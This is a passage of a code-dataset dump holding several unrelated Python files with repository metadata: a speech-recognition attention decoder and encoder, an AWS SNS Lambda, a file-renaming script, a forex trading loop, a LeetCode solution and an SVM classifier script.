enc_hs_len]]\n # if no bias, 0 0-pad goes 0\n att_prev[h] = pad_list(att_prev[h], 0)\n\n c = []\n w = []\n for h in six.moves.range(self.aheads):\n att_conv = self.loc_conv[h](att_prev[h].view(batch, 1, 1, self.h_length))\n att_conv = att_conv.squeeze(2).transpose(1, 2)\n att_conv = linear_tensor(self.mlp_att[h], att_conv)\n\n e = linear_tensor(\n self.gvec[h],\n torch.tanh(\n self.pre_compute_k[h] + att_conv + self.mlp_q[h](dec_z).view(\n batch, 1, self.att_dim_k))).squeeze(2)\n w += [F.softmax(self.scaling * e, dim=1)]\n\n # weighted sum over flames\n # utt x hdim\n # NOTE use bmm instead of sum(*)\n c += [torch.sum(self.pre_compute_v[h] * w[h].view(batch, self.h_length, 1), dim=1)]\n\n # concat all of c\n c = self.mlp_o(torch.cat(c, dim=1))\n\n return c, w\n\n\ndef th_accuracy(y_all, pad_target, ignore_label):\n pad_pred = y_all.data.view(pad_target.size(\n 0), pad_target.size(1), y_all.size(1)).max(2)[1]\n mask = pad_target.data != ignore_label\n numerator = torch.sum(pad_pred.masked_select(\n mask) == pad_target.data.masked_select(mask))\n denominator = torch.sum(mask)\n return float(numerator) / float(denominator)\n\n\n# ------------- Decoder Network ----------------------------------------------------------------------------------------\nclass Decoder(torch.nn.Module):\n def __init__(self, eprojs, odim, dlayers, dunits, sos, eos, att, verbose=0,\n char_list=None, labeldist=None, lsm_weight=0.):\n super(Decoder, self).__init__()\n self.dunits = dunits\n self.dlayers = dlayers\n self.embed = torch.nn.Embedding(odim, dunits)\n self.decoder = torch.nn.ModuleList()\n self.decoder += [torch.nn.LSTMCell(dunits + eprojs, dunits)]\n for l in six.moves.range(1, self.dlayers):\n self.decoder += [torch.nn.LSTMCell(dunits, dunits)]\n self.ignore_id = 0 # NOTE: 0 for CTC?\n self.output = torch.nn.Linear(dunits, odim)\n\n self.loss = None\n self.att = att\n self.dunits = dunits\n self.sos = sos\n self.eos = eos\n self.verbose = verbose\n self.char_list = char_list\n # for label smoothing\n self.labeldist = labeldist\n self.vlabeldist = None\n self.lsm_weight = lsm_weight\n\n def zero_state(self, hpad):\n return Variable(hpad.data.new(hpad.size(0), self.dunits).zero_())\n\n def forward(self, hpad, hlen, ys):\n '''Decoder forward\n\n :param hs:\n :param ys:\n :return:\n '''\n hpad = mask_by_length(hpad, hlen, 0)\n self.loss = None\n # prepare input and output word sequences with sos/eos IDs\n eos = Variable(ys[0].data.new([self.eos]))\n sos = Variable(ys[0].data.new([self.sos]))\n ys_in = [torch.cat([sos, y], dim=0) for y in ys]\n ys_out = [torch.cat([y, eos], dim=0) for y in ys]\n\n # padding for ys with -1\n # pys: utt x olen\n pad_ys_in = pad_list(ys_in, self.eos)\n pad_ys_out = pad_list(ys_out, self.ignore_id)\n\n # get dim, length info\n batch = pad_ys_out.size(0)\n olength = pad_ys_out.size(1)\n logging.info(self.__class__.__name__ + ' input lengths: ' + str(hlen))\n logging.info(self.__class__.__name__ + ' output lengths: ' + str([y.size(0) for y in ys_out]))\n\n # initialization\n c_list = [self.zero_state(hpad)]\n z_list = [self.zero_state(hpad)]\n for l in six.moves.range(1, self.dlayers):\n c_list.append(self.zero_state(hpad))\n z_list.append(self.zero_state(hpad))\n att_w = None\n z_all = []\n self.att.reset() # reset pre-computation of h\n\n # pre-computation of embedding\n eys = self.embed(pad_ys_in) # utt x olen x zdim\n\n # loop for an output sequence\n for i in six.moves.range(olength):\n att_c, att_w = self.att(hpad, hlen, z_list[0], att_w)\n ey = torch.cat((eys[:, i, :], att_c), dim=1) # utt x (zdim + hdim)\n z_list[0], c_list[0] = self.decoder[0](ey, (z_list[0], c_list[0]))\n for l in six.moves.range(1, self.dlayers):\n z_list[l], c_list[l] = self.decoder[l](\n z_list[l - 1], (z_list[l], c_list[l]))\n z_all.append(z_list[-1])\n\n z_all = torch.stack(z_all, dim=1).view(batch * olength, self.dunits)\n # compute loss\n y_all = self.output(z_all)\n self.loss = F.cross_entropy(y_all, pad_ys_out.view(-1),\n ignore_index=self.ignore_id,\n size_average=True)\n # -1: eos, which is removed in the loss computation\n self.loss *= (np.mean([len(x) for x in ys_in]) - 1)\n acc = th_accuracy(y_all, pad_ys_out, ignore_label=self.ignore_id)\n logging.info('att loss:' + str(self.loss.data))\n\n # show predicted character sequence for debug\n if self.verbose > 0 and self.char_list is not None:\n y_hat = y_all.view(batch, olength, -1)\n y_true = pad_ys_out\n for (i, y_hat_), y_true_ in zip(enumerate(y_hat.data.cpu().numpy()), y_true.data.cpu().numpy()):\n if i == MAX_DECODER_OUTPUT:\n break\n idx_hat = np.argmax(y_hat_[y_true_ != self.ignore_id], axis=1)\n idx_true = y_true_[y_true_ != self.ignore_id]\n seq_hat = [self.char_list[int(idx)] for idx in idx_hat]\n seq_true = [self.char_list[int(idx)] for idx in idx_true]\n seq_hat = \"\".join(seq_hat)\n seq_true = \"\".join(seq_true)\n logging.info(\"groundtruth[%d]: \" % i + seq_true)\n logging.info(\"prediction [%d]: \" % i + seq_hat)\n\n if self.labeldist is not None:\n if self.vlabeldist is None:\n self.vlabeldist = to_cuda(self, Variable(torch.from_numpy(self.labeldist)))\n loss_reg = - torch.sum((F.log_softmax(y_all, dim=1) * self.vlabeldist).view(-1), dim=0) / len(ys_in)\n self.loss = (1. - self.lsm_weight) * self.loss + self.lsm_weight * loss_reg\n\n return self.loss, acc\n\n def recognize_beam(self, h, lpz, recog_args, char_list, rnnlm=None):\n '''beam search implementation\n\n :param Variable h:\n :param Namespace recog_args:\n :param char_list:\n :return:\n '''\n logging.info('input lengths: ' + str(h.size(0)))\n # initialization\n c_list = [self.zero_state(h.unsqueeze(0))]\n z_list = [self.zero_state(h.unsqueeze(0))]\n for l in six.moves.range(1, self.dlayers):\n c_list.append(self.zero_state(h.unsqueeze(0)))\n z_list.append(self.zero_state(h.unsqueeze(0)))\n a = None\n self.att.reset() # reset pre-computation of h\n\n # search parms\n beam = recog_args.beam_size\n penalty = recog_args.penalty\n ctc_weight = recog_args.ctc_weight\n\n # preprate sos\n y = self.sos\n vy = Variable(h.data.new(1).zero_().long(), volatile=True)\n if recog_args.maxlenratio == 0:\n maxlen = h.shape[0]\n else:\n # maxlen >= 1\n maxlen = max(1, int(recog_args.maxlenratio * h.size(0)))\n minlen = int(recog_args.minlenratio * h.size(0))\n logging.info('max output length: ' + str(maxlen))\n logging.info('min output length: ' + str(minlen))\n\n # initialize hypothesis\n if rnnlm:\n hyp = {'score': 0.0, 'yseq': [y], 'c_prev': c_list,\n 'z_prev': z_list, 'a_prev': a, 'rnnlm_prev': None}\n else:\n hyp = {'score': 0.0, 'yseq': [y], 'c_prev': c_list, 'z_prev': z_list, 'a_prev': a}\n if lpz is not None:\n ctc_prefix_score = CTCPrefixScore(lpz.numpy(), 0, self.eos, np)\n hyp['ctc_state_prev'] = ctc_prefix_score.initial_state()\n hyp['ctc_score_prev'] = 0.0\n if ctc_weight != 1.0:\n # pre-pruning based on attention scores\n ctc_beam = min(lpz.shape[-1], int(beam * CTC_SCORING_RATIO))\n else:\n ctc_beam = lpz.shape[-1]\n hyps = [hyp]\n ended_hyps = []\n\n for i in six.moves.range(maxlen):\n logging.debug('position ' + str(i))\n\n hyps_best_kept = []\n for hyp in hyps:\n vy.unsqueeze(1)\n vy[0] = hyp['yseq'][i]\n ey = self.embed(vy) # utt list (1) x zdim\n ey.unsqueeze(0)\n att_c, att_w = self.att(h.unsqueeze(0), [h.size(0)], hyp['z_prev'][0], hyp['a_prev'])\n ey = torch.cat((ey, att_c), dim=1) # utt(1) x (zdim + hdim)\n z_list[0], c_list[0] = self.decoder[0](ey, (hyp['z_prev'][0], hyp['c_prev'][0]))\n for l in six.moves.range(1, self.dlayers):\n z_list[l], c_list[l] = self.decoder[l](\n z_list[l - 1], (hyp['z_prev'][l], hyp['c_prev'][l]))\n\n # get nbest local scores and their ids\n local_att_scores = F.log_softmax(self.output(z_list[-1]), dim=1).data\n if rnnlm:\n rnnlm_state, z_rnnlm = rnnlm.predictor(hyp['rnnlm_prev'], vy)\n local_lm_scores = F.log_softmax(z_rnnlm, dim=1).data\n local_scores = local_att_scores + recog_args.lm_weight * local_lm_scores\n else:\n local_scores = local_att_scores\n\n if lpz is not None:\n local_best_scores, local_best_ids = torch.topk(\n local_att_scores, ctc_beam, dim=1)\n ctc_scores, ctc_states = ctc_prefix_score(\n hyp['yseq'], local_best_ids[0], hyp['ctc_state_prev'])\n local_scores = \\\n (1.0 - ctc_weight) * local_att_scores[:, local_best_ids[0]] \\\n + ctc_weight * torch.from_numpy(ctc_scores - hyp['ctc_score_prev'])\n if rnnlm:\n local_scores += recog_args.lm_weight * local_lm_scores[:, local_best_ids]\n local_best_scores, joint_best_ids = torch.topk(local_scores, beam, dim=1)\n local_best_ids = local_best_ids[:, joint_best_ids[0]]\n else:\n local_best_scores, local_best_ids = torch.topk(local_scores, beam, dim=1)\n\n for j in six.moves.range(beam):\n new_hyp = {}\n # [:] is needed!\n new_hyp['z_prev'] = z_list[:]\n new_hyp['c_prev'] = c_list[:]\n new_hyp['a_prev'] = att_w[:]\n new_hyp['score'] = hyp['score'] + local_best_scores[0, j]\n new_hyp['yseq'] = [0] * (1 + len(hyp['yseq']))\n new_hyp['yseq'][:len(hyp['yseq'])] = hyp['yseq']\n new_hyp['yseq'][len(hyp['yseq'])] = local_best_ids[0, j]\n if rnnlm:\n new_hyp['rnnlm_prev'] = rnnlm_state\n if lpz is not None:\n new_hyp['ctc_state_prev'] = ctc_states[joint_best_ids[0, j]]\n new_hyp['ctc_score_prev'] = ctc_scores[joint_best_ids[0, j]]\n # will be (2 x beam) hyps at most\n hyps_best_kept.append(new_hyp)\n\n hyps_best_kept = sorted(\n hyps_best_kept, key=lambda x: x['score'], reverse=True)[:beam]\n\n # sort and get nbest\n hyps = hyps_best_kept\n logging.debug('number of pruned hypothes: ' + str(len(hyps)))\n logging.debug(\n 'best hypo: ' + ''.join([char_list[int(x)] for x in hyps[0]['yseq'][1:]]))\n\n # add eos in the final loop to avoid that there are no ended hyps\n if i == maxlen - 1:\n logging.info('adding in the last postion in the loop')\n for hyp in hyps:\n hyp['yseq'].append(self.eos)\n\n # add ended hypothes to a final list, and removed them from current hypothes\n # (this will be a probmlem, number of hyps < beam)\n remained_hyps = []\n for hyp in hyps:\n if hyp['yseq'][-1] == self.eos:\n # only store the sequence that has more than minlen outputs\n # also add penalty\n if len(hyp['yseq']) > minlen:\n hyp['score'] += (i + 1) * penalty\n ended_hyps.append(hyp)\n else:\n remained_hyps.append(hyp)\n\n # end detection\n if end_detect(ended_hyps, i) and recog_args.maxlenratio == 0.0:\n logging.info('end detected at %d', i)\n break\n\n hyps = remained_hyps\n if len(hyps) > 0:\n logging.debug('remeined hypothes: ' + str(len(hyps)))\n else:\n logging.info('no hypothesis. Finish decoding.')\n break\n\n for hyp in hyps:\n logging.debug(\n 'hypo: ' + ''.join([char_list[int(x)] for x in hyp['yseq'][1:]]))\n\n logging.debug('number of ended hypothes: ' + str(len(ended_hyps)))\n\n nbest_hyps = sorted(\n ended_hyps, key=lambda x: x['score'], reverse=True)[:min(len(ended_hyps), recog_args.nbest)]\n logging.info('total log probability: ' + str(nbest_hyps[0]['score']))\n logging.info('normalized log probability: ' + str(nbest_hyps[0]['score'] / len(nbest_hyps[0]['yseq'])))\n\n # remove sos\n return nbest_hyps\n\n\n# ------------- Encoder Network ----------------------------------------------------------------------------------------\nclass Encoder(torch.nn.Module):\n '''ENCODER NETWORK CLASS\n\n This is the example of docstring.\n\n :param str etype: type of encoder network\n :param int idim: number of dimensions of encoder network\n :param int elayers: number of layers of encoder network\n :param int eunits: number of lstm units of encoder network\n :param int epojs: number of projection units of encoder network\n :param str subsample: subsampling number e.g. 1_2_2_2_1\n :param float dropout: dropout rate\n :return:\n\n '''\n\n def __init__(self, etype, idim, elayers, eunits, eprojs, subsample, dropout, in_channel=1):\n super(Encoder, self).__init__()\n\n if etype == 'blstm':\n self.enc1 = BLSTM(idim, elayers, eunits, eprojs, dropout)\n logging.info('BLSTM without projection for encoder')\n elif etype == 'blstmp':\n self.enc1 = BLSTMP(idim, elayers, eunits,\n eprojs, subsample, dropout)\n logging.info('BLSTM with every-layer projection for encoder')\n elif etype == 'vggblstmp':\n self.enc1 = VGG2L(in_channel)\n self.enc2 = BLSTMP(_get_vgg2l_odim(idim, in_channel=in_channel),\n elayers, eunits, eprojs,\n subsample, dropout)\n logging.info('Use CNN-VGG + BLSTMP for encoder')\n elif etype == 'vggblstm':\n self.enc1 = VGG2L(in_channel)\n self.enc2 = BLSTM(_get_vgg2l_odim(idim, in_channel=in_channel),\n elayers, eunits, eprojs, dropout)\n logging.info('Use CNN-VGG + BLSTM for encoder')\n else:\n logging.error(\n \"Error: need to specify an appropriate encoder archtecture\")\n sys.exit()\n\n self.etype = etype\n\n def forward(self, xs, ilens):\n '''Encoder forward\n\n :param xs:\n :param ilens:\n :return:\n '''\n if self.etype == 'blstm':\n xs, ilens = self.enc1(xs, ilens)\n elif self.etype == 'blstmp':\n xs, ilens = self.enc1(xs, ilens)\n elif self.etype == 'vggblstmp':\n xs, ilens = self.enc1(xs, ilens)\n xs, ilens = self.enc2(xs, ilens)\n elif self.etype == 'vggblstm':\n xs, ilens = self.enc1(xs, ilens)\n xs, ilens = self.enc2(xs, ilens)\n else:\n logging.error(\n \"Error: need to specify an appropriate encoder archtecture\")\n sys.exit()\n\n return xs, ilens\n\n\nclass BLSTMP(torch.nn.Module):\n def __init__(self, idim, elayers, cdim, hdim, subsample, dropout):\n super(BLSTMP, self).__init__()\n for i in six.moves.range(elayers):\n if i == 0:\n inputdim = idim\n else:\n inputdim = hdim\n setattr(self, \"bilstm%d\" % i, torch.nn.LSTM(inputdim, cdim, dropout=dropout,\n num_layers=1, bidirectional=True, batch_first=True))\n # bottleneck layer to merge\n setattr(self, \"bt%d\" % i, torch.nn.Linear(2 * cdim, hdim))\n\n self.elayers = elayers\n self.cdim = cdim\n self.subsample = subsample\n\n def forward(self, xpad, ilens):\n '''BLSTMP forward\n\n :param xs:\n :param ilens:\n :return:\n '''\n # logging.info(self.__class__.__name__ + ' input lengths: ' + str(ilens))\n for layer in six.moves.range(self.elayers):\n xpack = pack_padded_sequence(xpad, ilens, batch_first=True)\n bilstm = getattr(self, 'bilstm' + str(layer))\n bilstm.flatten_parameters()\n ys, (hy, cy) = bilstm(xpack)\n # ys: utt list of frame x cdim x 2 (2: means bidirectional)\n ypad, ilens = pad_packed_sequence(ys, batch_first=True)\n sub = self.subsample[layer + 1]\n if sub > 1:\n ypad = ypad[:, ::sub]\n ilens = [(i + 1) // sub for i in ilens]\n # (sum _utt frame_utt) x dim\n projected = getattr(self, 'bt' + str(layer)\n )(ypad.contiguous().view(-1, ypad.size(2)))\n xpad = torch.tanh(projected.view(ypad.size(0), ypad.size(1), -1))\n del hy, cy\n\n return xpad, ilens # x: utt list of frame x dim\n\n\nclass BLSTM(torch.nn.Module):\n def __init__(self, idim, elayers, cdim, hdim, dropout):\n super(BLSTM, self).__init__()\n self.nblstm = torch.nn.LSTM(idim, cdim, elayers, batch_first=True,\n dropout=dropout, bidirectional=True)\n self.l_last = torch.nn.Linear(cdim * 2, hdim)\n\n def forward(self, xpad, ilens):\n '''BLSTM forward\n\n :param xs:\n :param ilens:\n :return:\n '''\n logging.info(self.__class__.__name__ + ' input lengths: ' + str(ilens))\n xpack = pack_padded_sequence(xpad, ilens, batch_first=True)\n ys, (hy, cy) = self.nblstm(xpack)\n del hy, cy\n # ys: utt list of frame x cdim x 2 (2: means bidirectional)\n ypad, ilens = pad_packed_sequence(ys, batch_first=True)\n # (sum _utt frame_utt) x dim\n projected = torch.tanh(self.l_last(\n ypad.contiguous().view(-1, ypad.size(2))))\n xpad = projected.view(ypad.size(0), ypad.size(1), -1)\n return xpad, ilens # x: utt list of frame x dim\n\n\nclass VGG2L(torch.nn.Module):\n def __init__(self, in_channel=1):\n super(VGG2L, self).__init__()\n # CNN layer (VGG motivated)\n self.conv1_1 = torch.nn.Conv2d(in_channel, 64, 3, stride=1, padding=1)\n self.conv1_2 = torch.nn.Conv2d(64, 64, 3, stride=1, padding=1)\n self.conv2_1 = torch.nn.Conv2d(64, 128, 3, stride=1, padding=1)\n self.conv2_2 = torch.nn.Conv2d(128, 128, 3, stride=1, padding=1)\n\n self.in_channel = in_channel\n\n def forward(self, xs, ilens):\n '''VGG2L forward\n\n :param xs:\n :param ilens:\n :return:\n '''\n logging.info(self.__class__.__name__ + ' input lengths: ' + str(ilens))\n\n # x: utt x frame x dim\n # xs = F.pad_sequence(xs)\n\n # x: utt x 1 (input channel num) x frame x dim\n xs = xs.view(xs.size(0), xs.size(1), self.in_channel,\n xs.size(2) // self.in_channel).transpose(1, 2)\n\n # NOTE: max_pool1d ?\n xs = F.relu(self.conv1_1(xs))\n xs = F.relu(self.conv1_2(xs))\n xs = F.max_pool2d(xs, 2, stride=2, ceil_mode=True)\n\n xs = F.relu(self.conv2_1(xs))\n xs = F.relu(self.conv2_2(xs))\n xs = F.max_pool2d(xs, 2, stride=2, ceil_mode=True)\n # change ilens accordingly\n # ilens = [_get_max_pooled_size(i) for i in ilens]\n ilens = np.array(\n np.ceil(np.array(ilens, dtype=np.float32) / 2), dtype=np.int64)\n ilens = np.array(\n np.ceil(np.array(ilens, dtype=np.float32) / 2), dtype=np.int64).tolist()\n\n # x: utt_list of frame (remove zeropaded frames) x (input channel num x dim)\n xs = xs.transpose(1, 2)\n xs = xs.contiguous().view(\n xs.size(0), xs.size(1), xs.size(2) * xs.size(3))\n xs = [xs[i, :ilens[i]] for i in range(len(ilens))]\n xs = pad_list(xs, 0.0)\n return xs, ilens\n","sub_path":"src/nets/e2e_asr_attctc_th.py","file_name":"e2e_asr_attctc_th.py","file_ext":"py","file_size_in_byte":79629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"156252931","text":"from xii.validator import Bool\n\nfrom xii.components.node import NodeAttribute\n\n\nclass GraphicAttribute(NodeAttribute):\n \"\"\"Attach spice output to the created node.\n By simply adding the graphich line xii is instructed to add a vnc spice\n connection to the started node.\n\n Currently only qxl/spice output is supported.\n \"\"\"\n atype = \"graphic\"\n keys = Bool(True)\n defaults = True\n\n example = \"\"\"\n # vim: set ts=2 sw=2 tw=0 ft=yaml:\n ---\n with-graphic:\n type: node\n pool: default\n\n image: {{ image }}\n\n graphic: yes\n \"\"\"\n\n def spawn(self):\n if not self.settings():\n return\n xml = self.template('graphic.xml')\n self.add_xml('devices', xml.safe_substitute())\n","sub_path":"src/xii/builtin/components/node/attributes/graphic/node_graphic.py","file_name":"node_graphic.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"635437515","text":"import json\nimport boto3\n\ndef lambda_handler(event, context):\n json_data = json.loads(event[\"body\"])\n email = json_data[\"email_id\"]\n session = boto3.session.Session()\n client = session.client(\n service_name='sns',\n region_name='us-east-1'\n )\n topic_name = 'CastVoteNotification' + email.split('@')[0]\n response = client.create_topic(\n Name=topic_name\n )\n responseObject = {}\n if 'TopicArn' in response:\n print(\"created topic\")\n topic_arn = response['TopicArn']\n print('topic_val')\n status = client.subscribe(\n TopicArn=topic_arn,\n Protocol='email',\n Endpoint= email\n )\n\n print(status)\n responseObject['statusCode'] = 200\n responseObject['headers'] = {}\n responseObject['headers']['Content-Type'] = 'application/json'\n responseObject['body'] = \"Topic is created and subscription mail is sent\"\n\n else:\n responseObject['statusCode'] = 404\n responseObject['headers'] = {}\n responseObject['headers']['Content-Type'] = 'application/json'\n responseObject['body'] = \"Some error has occurred and the topic is not created\"\n return responseObject\n \n","sub_path":"Lambda/snsOperations.py","file_name":"snsOperations.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"8422610","text":"import os\n\n\ndef exec(cmd, output=True):\n if(output):\n os.system(\"echo :\\\"\"+cmd+\"\\\"\")\n os.system(cmd)\n\ndef echo(str, tab=0):\n #exec(\"echo \"+str)\n print(tablvl(tab)+str)\n\ndef tablvl(nb):\n tab = \"\"\n for i in range(0,nb):\n tab += \"\\t\"\n return tab\n\n\ndef rename(folder):\n exec(\"echo title;newTitle> logCsv.csv\")\n\n files = os.listdir(folder)\n files = [file for file in files if file.endswith(\".mp3\")] # if file.endswith(\".mp3\")\n nbFiles = len(files)\n\n cpt = 0\n #Rename files according to genre\n for index, filename in enumerate(files):\n cpt += 1\n newName = \"{}{}{}\".format(\"audio_\", cpt, \".mp3\")\n filename = \"{}\".format(filename)\n echo(\"Etape {}/{} : {} to {}\".format(cpt, nbFiles, filename, newName))\n\n exec(\"echo {};{}>> logCsv.csv\".format(filename, newName))\n exec(\"ren \\\"{}\\\" \\\"{}\\\"\".format(filename, newName))\n\n\nrename(\"Data\")\n\n\n\n","sub_path":"tmp/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"426313379","text":"import time\nimport math\nimport threading\n\nfrom IBapi import IBapi\nfrom order_service import *\n\n# def calculate_current_buy_price(app):\n# price_to_buy = float(app.current_bid_price) * 1000000 / 10\n# last_digit = price_to_buy % 10\n# if last_digit >= 5:\n# price_to_buy = math.ceil(price_to_buy / 10) * 10 \n# else:\n# price_to_buy = math.floor(price_to_buy / 10) * 10 + 5\n# price_to_buy = price_to_buy / 100000\n\n# return price_to_buy\n\ndef set_one_order(app, quantity, delta, contract, orderType, ratio=None):\n price_to_buy = calculate_current_buy_price(app)\n print(price_to_buy)\n if orderType == 'profit_taker':\n set_order_profit_taker('BUY', quantity, 'LMT', str(price_to_buy), delta, contract, app)\n if orderType == 'stop_loss':\n set_bracket_order('BUY', quantity, 'LMT', str(price_to_buy), delta, contract, app, ratio)\n\n return price_to_buy\n\ndef profit_taker_loop(app, taken_space, delta, price_bought, quantity):\n\n if taken_space[-1] + delta <= calculate_current_buy_price(app):\n taken_space.pop()\n if len(taken_space) > 0:\n price_bought = taken_space[-1]\n\n\n if len(taken_space) == 0:\n price_bought = set_one_order(app, quantity, delta, currentContract, 'profit_taker')\n taken_space.append(price_bought)\n\n if calculate_current_buy_price(app) <= (price_bought - delta):\n price_bought = set_one_order(app, quantity, delta, currentContract, 'profit_taker')\n \n taken_space.append(price_bought)\n\ndef stop_loss_loop(app, taken_space, delta, price_bought, quantity, ratio):\n\n if taken_space[-1] + delta <= calculate_current_buy_price(app) or taken_space[-1] - delta/ratio > calculate_current_buy_price(app):\n taken_space.pop()\n if len(taken_space) > 0:\n price_bought = taken_space[-1]\n\n\n if len(taken_space) == 0:\n price_bought = set_one_order(app, quantity, delta, currentContract, 'stop_loss', ratio)\n taken_space.append(price_bought)\n\n if calculate_current_buy_price(app) <= (price_bought - delta) or calculate_current_buy_price(app) > price_bought + delta/ratio:\n price_bought = set_one_order(app, quantity, delta, currentContract, 'stop_loss', ratio)\n \n taken_space.append(price_bought)\n\n\ndef run_loop(app):\n\tapp.run()\n\ndef main():\n\n app = IBapi()\n app.connect('127.0.0.1', 7497, 123)\n\n app.nextorderId = None\n\n api_thread = threading.Thread(target=run_loop, daemon=True, args=[app])\n api_thread.start()\n\n while True:\n if isinstance(app.nextorderId, int):\n print('connected')\n break\n else:\n print('waiting for connection')\n time.sleep(1)\n\n currentContract = FX_order('EURUSD')\n app.reqMktData(1, currentContract, '', False, False, [])\n app.reqAccountSummary(9002, \"All\", \"$LEDGER\")\n\n while True:\n if app.current_bid_price is not None:\n break\n\n quantity = 20000\n delta = 0.0005\n ratio = 2\n taken_space = []\n price_bought = set_one_order(app, quantity, delta, currentContract, 'stop_loss', ratio)\n taken_space.append(price_bought)\n curr_time = time.time()\n\n while True:\n stop_loss_loop(app, taken_space, delta, price_bought, quantity, ratio)\n \n\n\n app.disconnect()\n\nif __name__ == \"__main__\":\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"653029719","text":"from pygears import alternative, gear, module\nfrom pygears.typing import Array, Queue, Tuple, Uint\nfrom pygears.util.utils import quiter\n\n\n@gear\nasync def serialize(din: Array) -> b'din.dtype':\n async with din as val:\n for i in range(len(val)):\n yield val[i]\n\n\nTDin = Tuple[Array[Uint['w_data'], 'no'], Uint['w_active']]\nTOut = Queue[Uint['w_data']]\n\n\n@alternative(serialize)\n@gear\nasync def active_serialize(din: TDin,\n *,\n w_data=b'w_data',\n no=b'no',\n w_active=b'w_active') -> TOut:\n async with din as val:\n data, active = val\n active_out = [data[i] for i in range(len(data)) if active[i]]\n for d, last in quiter(active_out):\n yield module().tout((d, last))\n","sub_path":"pygears/common/serialize.py","file_name":"serialize.py","file_ext":"py","file_size_in_byte":821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"608458123","text":"# https://leetcode.com/problems/insert-delete-getrandom-o1/\n\"\"\"\n使用hashmap即可,insert没啥可说的\nremove的时候把要remove的值和最后一个值交换位置,同时更新hashmap中最后一个值的index\n这样可以避免每次删除元素后维护hashmap。做到O(1)\n\"\"\"\nclass RandomizedSet:\n\n def __init__(self):\n self.randomList = []\n self.indexmap = {}\n \n\n def insert(self, val: int) -> bool:\n if val not in self.indexmap:\n self.randomList.append(val)\n self.indexmap[val] = len(self.randomList) - 1\n return True\n return False\n\n def remove(self, val: int) -> bool:\n if val not in self.indexmap:\n return False\n # move the element to be removed to the last, \n # so that it won't effect the hashmap\n val_index = self.indexmap[val]\n self.indexmap[self.randomList[-1]] = val_index\n self.randomList[val_index], self.randomList[-1] = self.randomList[-1], self.randomList[val_index]\n self.randomList.pop()\n self.indexmap.pop(val)\n return True\n\n def getRandom(self) -> int:\n index = random.randint(0, len(self.randomList) - 1)\n return self.randomList[index]\n\n\n# Your RandomizedSet object will be instantiated and called as such:\n# obj = RandomizedSet()\n# param_1 = obj.insert(val)\n# param_2 = obj.remove(val)\n# param_3 = obj.getRandom()","sub_path":"most_interviewed/design/insert_delete_getRandom_O(1).py","file_name":"insert_delete_getRandom_O(1).py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"502354612","text":"'''\nThis script trains and tests a Support Vector Classifier (sklearn implementation)\n\nWinning model (kernel, C, gamma) with highest score on cross-validated grid search used on testing set\n\nModel is trained after implementing the SMOTE algorithm (see data.py)\n\nGrid search, training linear model, non-SMOTE training has been commented out.\n\nIt also evaluates the model with a classification report, confusion matrix,\nlearning curves and ROC curves\n\nPackages used:\nPandas\nNumpy\nscikitlearn\nmatplotlib\nscipy\n\n'''\n\n\nimport pandas as pd\nimport numpy as np\n\nfrom sklearn.svm import SVC\nfrom sklearn.svm import LinearSVC\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn import grid_search\nfrom sklearn.metrics import classification_report\nimport matplotlib.pyplot as plt\nfrom sklearn.learning_curve import learning_curve\nfrom scipy import interp\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.preprocessing import label_binarize\n\ntrain = pd.read_csv('watertrain.csv')\ntrain_smote = pd.read_csv('watertrain_smote.csv')\ntest = pd.read_csv('watertest.csv')\n\nY_train = train['status_group']\nX_train = train.ix[:, 1:]\nY_test = test['status_group']\nX_test = test.ix[:, 1:]\nY_train_smote = train_smote['status_group']\nX_train_smote = train_smote.ix[:, 1:]\ntarget_names = ['non functional', 'functional needs repair', 'functional']\n\n'''\n#TRAIN: Try linear SVM first as fastest/simplest model (non-SMOTE)\n\nsvc_linear = grid_search.GridSearchCV(LinearSVC(class_weight='balanced', dual=False), param_grid={\n \"C\": [0.001, 0.01, 0.1, 1, 10, 100], \"penalty\": ['l1', 'l2']} , n_jobs=-1)\n\nsvc_linear = svc_linear.fit(X_train, Y_train)\nprint ('Best params for linear SVM:', svc_linear.best_params_)\n\nclf_linear = LinearSVC(class_weight='balanced', penalty='l2', dual=False, random_state=1, C=0.001)\nclf_linear = clf_linear.fit(X_train, Y_train)\ny_pred_linear = clf_linear.predict(X_train)\nprint ('Training accuracy LinearSVM:', accuracy_score(Y_train, y_pred_linear))\n#0.713\n\n#TRAIN: Try SVC with polynomial kernel (non-SMOTE)\n\nsvc_poly = SVC(class_weight='balanced', kernel='poly')\nsvc_poly = svc_poly.fit(X_train, Y_train)\ny_pred_train_poly = svc_poly.predict(X_train)\nprint('Training accuracy Poly:', accuracy_score(Y_train, y_pred_train_poly))\n\n\n#GRID SEARCH: SVC with rbf kernel (non-SMOTE)\n\nsvc_rbf = grid_search.GridSearchCV(SVC(class_weight='balanced', kernel='rbf'), param_grid={\n \"C\": [0.1, 1, 5, 10, 15], 'gamma': [0.001, 0.01, 0.10, 0.25, 0.30]} , n_jobs=-1)\nsvc_rbf = svc_rbf.fit(X_train, Y_train)\nprint('Best params for SVM:', svc_rbf.best_params_)\n\n# C = 5, gamma = 0.3\n\n# after finding hyper parameters, fit on training set and see training accuracy/ other metrics\n\n# FIT SVM ON NON-SMOTE TRAINING DATA\n\nclf_rbf = SVC(class_weight='balanced', kernel='rbf', C=5, gamma=0.3) \nclf_rbf = clf_rbf.fit(X_train, Y_train)\n\ny_pred_rbf = clf_rbf.predict(X_train)\n\nprint('Training accuracy SVM (non-SMOTE):', accuracy_score(Y_train, y_pred_rbf)) \n#0.7972\n\nprint(classification_report(Y_train, y_pred_rbf, target_names=target_names))\n'''\n# FIT SVM 